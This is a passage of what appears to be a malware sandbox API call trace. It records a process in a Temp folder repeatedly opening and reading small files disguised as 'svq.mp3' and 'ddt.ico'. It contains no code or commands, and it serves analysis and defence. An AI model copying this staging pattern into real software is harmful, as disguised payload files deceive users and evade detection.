"c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.594] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.594] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.594] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.594] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.594] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.594] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.594] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.595] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.595] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.595] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.595] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.595] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.595] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.595] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.595] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.596] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.596] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.596] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.596] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.596] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.596] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.596] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.596] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.596] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.596] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.597] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.597] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.597] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.597] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.597] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.597] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.597] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.597] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.597] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.597] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.597] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.598] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.598] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.598] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.598] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.598] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.598] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.598] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.598] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.598] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.598] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.599] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.599] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.599] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.599] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.599] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.599] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.599] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.599] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.599] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.600] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.600] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.600] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.600] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.600] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.600] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.600] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.600] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.600] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.600] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.601] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.601] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.601] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.601] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.601] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.601] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.601] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.601] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.601] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.601] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.601] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.602] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.602] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.602] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.602] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.602] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.602] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.602] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.602] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.603] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.603] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.603] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.603] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.603] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.603] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.603] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.603] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.603] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.603] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.604] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.604] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.604] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.604] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.604] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.604] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.604] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.604] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.604] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.604] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.604] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.605] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.605] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", 